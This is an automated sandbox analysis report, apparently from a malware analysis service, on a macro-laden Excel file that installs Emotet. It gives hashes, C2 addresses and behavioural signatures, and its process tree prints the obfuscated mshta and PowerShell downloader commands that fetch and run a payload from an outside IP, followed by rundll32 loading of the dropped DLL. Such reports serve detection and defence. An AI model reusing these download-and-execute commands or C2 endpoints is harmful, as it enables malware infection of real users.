Analysis
-
max time kernel
150s -
max time network
149s -
platform
windows10_x64 -
resource
win10-en-20211208 -
submitted
19-01-2022 10:55
Behavioral task
behavioral1
Sample
aca67468ced86d88c980d851092607e06405b3109230404fb7c51c6c916f389b.xlsm
Resource
win10-en-20211208
General
-
Target
aca67468ced86d88c980d851092607e06405b3109230404fb7c51c6c916f389b.xlsm
-
Size
114KB
-
MD5
4962c644e09bb0011788f7b2fe368e40
-
SHA1
13465cd4f8d94af607145cb65eb901a71a33437d
-
SHA256
aca67468ced86d88c980d851092607e06405b3109230404fb7c51c6c916f389b
-
SHA512
320c40058c983b6b9be51635f467779a7445c40ce69c3be890f27e61d2364912fc8ecd46224703ad9165b83607df5ad8e4e488da0346e57d9d85213cb0e78541
Malware Config
Extracted
http://0x5cff39c3/sec/sec.html
Extracted
http://92.255.57.195/sec/sec.png
Extracted
emotet
Epoch5
45.138.98.34:80
69.16.218.101:8080
51.210.242.234:8080
185.148.168.220:8080
142.4.219.173:8080
54.38.242.185:443
191.252.103.16:80
104.131.62.48:8080
62.171.178.147:8080
217.182.143.207:443
168.197.250.14:80
37.44.244.177:8080
66.42.57.149:443
210.57.209.142:8080
159.69.237.188:443
116.124.128.206:8080
128.199.192.135:8080
195.154.146.35:443
185.148.168.15:8080
195.77.239.39:8080
207.148.81.119:8080
85.214.67.203:8080
190.90.233.66:443
78.46.73.125:443
78.47.204.80:443
37.59.209.141:8080
54.37.228.122:443
Signatures
-
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
cmd.exedescription pid pid_target process target process Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process 3156 2728 cmd.exe EXCEL.EXE -
suricata: ET MALWARE W32/Emotet CnC Beacon 3
suricata: ET MALWARE W32/Emotet CnC Beacon 3
-
Blocklisted process makes network request 6 IoCs
Processes:
mshta.exepowershell.exerundll32.exeflow pid process 30 3168 mshta.exe 36 3216 powershell.exe 38 3216 powershell.exe 46 1312 rundll32.exe 47 1312 rundll32.exe 49 1312 rundll32.exe -
Downloads MZ/PE file
-
Loads dropped DLL 2 IoCs
Processes:
rundll32.exerundll32.exepid process 2224 rundll32.exe 1944 rundll32.exe -
Drops file in System32 directory 1 IoCs
Processes:
rundll32.exedescription ioc process File opened for modification C:\Windows\SysWOW64\Xfdbikl\zqczknjgcrpab.nhk rundll32.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Program crash 1 IoCs
Processes:
WerFault.exepid pid_target process target process 644 3168 WerFault.exe mshta.exe -
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
EXCEL.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString EXCEL.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
Processes:
EXCEL.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU EXCEL.EXE -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
Processes:
EXCEL.EXEpid process 2728 EXCEL.EXE -
Suspicious behavior: EnumeratesProcesses 19 IoCs
Processes:
powershell.exeWerFault.exerundll32.exepid process 3216 powershell.exe 3216 powershell.exe 644 WerFault.exe 644 WerFault.exe 644 WerFault.exe 644 WerFault.exe 644 WerFault.exe 644 WerFault.exe 644 WerFault.exe 644 WerFault.exe 644 WerFault.exe 644 WerFault.exe 644 WerFault.exe 644 WerFault.exe 644 WerFault.exe 644 WerFault.exe 3216 powershell.exe 1312 rundll32.exe 1312 rundll32.exe -
Suspicious use of AdjustPrivilegeToken 2 IoCs
Processes:
powershell.exeWerFault.exedescription pid process Token: SeDebugPrivilege 3216 powershell.exe Token: SeDebugPrivilege 644 WerFault.exe -
Suspicious use of SetWindowsHookEx 20 IoCs
Processes:
EXCEL.EXEpid process 2728 EXCEL.EXE 2728 EXCEL.EXE 2728 EXCEL.EXE 2728 EXCEL.EXE 2728 EXCEL.EXE 2728 EXCEL.EXE 2728 EXCEL.EXE 2728 EXCEL.EXE 2728 EXCEL.EXE 2728 EXCEL.EXE 2728 EXCEL.EXE 2728 EXCEL.EXE 2728 EXCEL.EXE 2728 EXCEL.EXE 2728 EXCEL.EXE 2728 EXCEL.EXE 2728 EXCEL.EXE 2728 EXCEL.EXE 2728 EXCEL.EXE 2728 EXCEL.EXE -
Suspicious use of WriteProcessMemory 20 IoCs
Processes:
EXCEL.EXEcmd.exemshta.exepowershell.execmd.exerundll32.exerundll32.exerundll32.exedescription pid process target process PID 2728 wrote to memory of 3156 2728 EXCEL.EXE cmd.exe PID 2728 wrote to memory of 3156 2728 EXCEL.EXE cmd.exe PID 3156 wrote to memory of 3168 3156 cmd.exe mshta.exe PID 3156 wrote to memory of 3168 3156 cmd.exe mshta.exe PID 3168 wrote to memory of 3216 3168 mshta.exe powershell.exe PID 3168 wrote to memory of 3216 3168 mshta.exe powershell.exe PID 3216 wrote to memory of 1852 3216 powershell.exe cmd.exe PID 3216 wrote to memory of 1852 3216 powershell.exe cmd.exe PID 1852 wrote to memory of 2224 1852 cmd.exe rundll32.exe PID 1852 wrote to memory of 2224 1852 cmd.exe rundll32.exe PID 1852 wrote to memory of 2224 1852 cmd.exe rundll32.exe PID 2224 wrote to memory of 1944 2224 rundll32.exe rundll32.exe PID 2224 wrote to memory of 1944 2224 rundll32.exe rundll32.exe PID 2224 wrote to memory of 1944 2224 rundll32.exe rundll32.exe PID 1944 wrote to memory of 1084 1944 rundll32.exe rundll32.exe PID 1944 wrote to memory of 1084 1944 rundll32.exe rundll32.exe PID 1944 wrote to memory of 1084 1944 rundll32.exe rundll32.exe PID 1084 wrote to memory of 1312 1084 rundll32.exe rundll32.exe PID 1084 wrote to memory of 1312 1084 rundll32.exe rundll32.exe PID 1084 wrote to memory of 1312 1084 rundll32.exe rundll32.exe
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\aca67468ced86d88c980d851092607e06405b3109230404fb7c51c6c916f389b.xlsm"1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2728 -
C:\Windows\SYSTEM32\cmd.execmd /c m^sh^t^a h^tt^p^:/^/0x5cff39c3/sec/sec.html2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:3156 -
C:\Windows\system32\mshta.exemshta http://0x5cff39c3/sec/sec.html3⤵
- Blocklisted process makes network request
- Suspicious use of WriteProcessMemory
PID:3168 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({GOOGLE}{GOOGLE}Ne{GOOGLE}{GOOGLE}w{GOOGLE}-Obj{GOOGLE}ec{GOOGLE}{GOOGLE}t N{GOOGLE}{GOOGLE}et{GOOGLE}.W{GOOGLE}{GOOGLE}e'.replace('{GOOGLE}', ''); $c4='bC{GOOGLE}li{GOOGLE}{GOOGLE}en{GOOGLE}{GOOGLE}t).D{GOOGLE}{GOOGLE}ow{GOOGLE}{GOOGLE}nl{GOOGLE}{GOOGLE}{GOOGLE}o'.replace('{GOOGLE}', ''); $c3='ad{GOOGLE}{GOOGLE}St{GOOGLE}rin{GOOGLE}{GOOGLE}g{GOOGLE}(''ht{GOOGLE}tp{GOOGLE}://92.255.57.195/sec/sec.png'')'.replace('{GOOGLE}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3216 -
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll,AnyString5⤵
- Suspicious use of WriteProcessMemory
PID:1852 -
C:\Windows\SysWow64\rundll32.exeC:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll,AnyString6⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:2224 -
C:\Windows\SysWOW64\rundll32.exeC:\Windows\SysWOW64\rundll32.exe "C:\Users\Public\Documents\ssd.dll",DllRegisterServer7⤵
- Loads dropped DLL
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
PID:1944 -
C:\Windows\SysWOW64\rundll32.exeC:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Xfdbikl\zqczknjgcrpab.nhk",DHinMMntFhr8⤵
- Suspicious use of WriteProcessMemory
PID:1084 -
C:\Windows\SysWOW64\rundll32.exeC:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Xfdbikl\zqczknjgcrpab.nhk",DllRegisterServer9⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
PID:1312 -
C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -u -p 3168 -s 16644⤵
- Program crash
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:644
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
MD5
0c861bac69f09cf80d8e2cd928236a86
SHA146cf07b6bfce7c6f4f04f8033bfd320a3ecc8f83
SHA256d0b1c6960288a6f9efee0ed52a34ad70296d8f48e54d4e0368b7f4022fc8abb4
SHA512615caeb22b82a6262aecece95f51e84b5494215e8d5fc7726db47d9e17a6c1a5380ecabc7601d0020744d42bfa650b11e49cd943182c247d6acb70ffa8683227
-
MD5
0c861bac69f09cf80d8e2cd928236a86
SHA146cf07b6bfce7c6f4f04f8033bfd320a3ecc8f83
SHA256d0b1c6960288a6f9efee0ed52a34ad70296d8f48e54d4e0368b7f4022fc8abb4
SHA512615caeb22b82a6262aecece95f51e84b5494215e8d5fc7726db47d9e17a6c1a5380ecabc7601d0020744d42bfa650b11e49cd943182c247d6acb70ffa8683227
-
MD5
0c861bac69f09cf80d8e2cd928236a86
SHA146cf07b6bfce7c6f4f04f8033bfd320a3ecc8f83
SHA256d0b1c6960288a6f9efee0ed52a34ad70296d8f48e54d4e0368b7f4022fc8abb4
SHA512615caeb22b82a6262aecece95f51e84b5494215e8d5fc7726db47d9e17a6c1a5380ecabc7601d0020744d42bfa650b11e49cd943182c247d6acb70ffa8683227